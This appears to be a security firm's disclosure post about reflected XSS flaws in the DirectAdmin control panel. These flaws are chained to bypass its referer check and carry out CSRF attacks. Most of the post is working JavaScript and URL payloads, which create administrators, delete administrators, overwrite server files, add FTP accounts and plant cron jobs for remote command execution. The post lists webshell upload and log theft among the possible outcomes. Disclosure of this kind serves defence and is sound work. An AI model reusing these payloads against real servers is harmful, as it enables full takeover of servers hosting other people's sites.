Multiple security vulnerabilities has been discovered in popular server control panel DirectAdmin, by InfinitumIT. Attackers can combine those security vulnerabilities and do a lot of critical action like server control takeover.

Those vulnerabilities (Cross Site Scripting and Cross Site Request Forgery) may cause them to happen:

- Add administrator,
- Delete administrator,
- Execute command remote (RCE)
- Full Backup the Server and Upload the Own Server
- Create FTP Accounts
- Edit the server files like /etc/named.conf and break the server.
- Upload files in directories, for example upload a webshell in public_html
- Steal Server Log Files
- Steal License Informations
- Restart or Start the Services
- Create Reseller and User
- Redirect Websites to Another URLs

We should manipulate the administrator's request to make those attacks without administrator's knowledge. Those attacks are named as Cross Site Request Forgery (CSRF). While we are checking the software is vulnerable to CSRF or not, we saw that some security preventions are blocking our harmful requests. We reviewed the software carefully again, and we saw that the developers are using "Referer Check" method to prevent CSRF attacks.So, if we could click administrator to external URL, the software will block our requests. Because of this, we should have the requests sent through the DirectAdmin address., we started to search XSS vulnerabilities in the software.

Finally, we have found those "Reflected Cross Site Scripting" vulnerabilities:

- https://SERVERIP:2222/CMD_FILE_MANAGER/XSS-PAYLOAD
- https://SERVERIP:2222/CMD_SHOW_USER?user=XSS-PAYLOAD
- https://SERVERIP:2222/CMD_SHOW_RESELLER?user=XSS-PAYLOAD

With those XSS vulnerabilities, we could bypass the "referer check" protection. It was finally as we expected, we could exploiting the CSRF vulnerabilities and had full privilege on the target servers. Let us give codes of some actions we have mentioned top.

Add Administrator**:**

```
var url = "http://SERVERIP:2222/CMD_ACCOUNT_ADMIN";

var params =
"fakeusernameremembered=&fakepasswordremembered=&action=create&username=username&email=info%40infinitumit.com.tr&passwd=password&passwd2=password&notify=ye";

var vuln = new XMLHttpRequest();

vuln.open("POST", url, true);

vuln.withCredentials = 'true';

vuln.setRequestHeader("Content-type",

"application/x-www-form-urlencoded");

vuln.send(params);
```

Delete Administrator:

```
http://SERVERIP:2222/CMD_SELECT_USERS?select0=username&confirmed=Confirm&delete=yes
```

Edit File:

```
var url = "http://SERVERIP:2222/CMD_ADMIN_FILE_EDITOR";

var params = "file=the-file-full-path&action=save&text=new-content";

var vuln = new XMLHttpRequest();

vuln.open("POST", url, true);

vuln.withCredentials = 'true';

vuln.setRequestHeader("Content-type",

"application/x-www-form-urlencoded");

vuln.send(params);
```

Create FTP Account:

```
var url = "http://SERVERIP:2222/CMD_FTP";

var params =
"fakeusernameremembered=&fakepasswordremembered=&action=create&domain=infinitumit.com.tr
&user=username&passwd=password&random=Save+Password&passwd2=password&type=domain&cu
stom_val=%2Fhome%2Fusername&create=Create";

var vuln = new XMLHttpRequest();

vuln.open("POST", url, true);

vuln.withCredentials = 'true';

vuln.setRequestHeader("Content-type",

"application/x-www-form-urlencoded");

vuln.send(params);
```

Remote Command Execution:

```
var url = "http://SERVERIP:2222/CMD_CRON_JOBS";

var params =
"action=create&minute=*&hour=*&dayofmonth=*&month=*&dayofweek=*&command=command";

var vuln = new XMLHttpRequest();

vuln.open("POST", url, true);

vuln.withCredentials = 'true';

vuln.setRequestHeader("Content-type",

"application/x-www-form-urlencoded");

vuln.send(params);
```

Thank to DirectAdmin developers, because of following the incident carefully and caring about their users security extremely.

InfinitumIT

// For secure days…

infinitumit.com.tr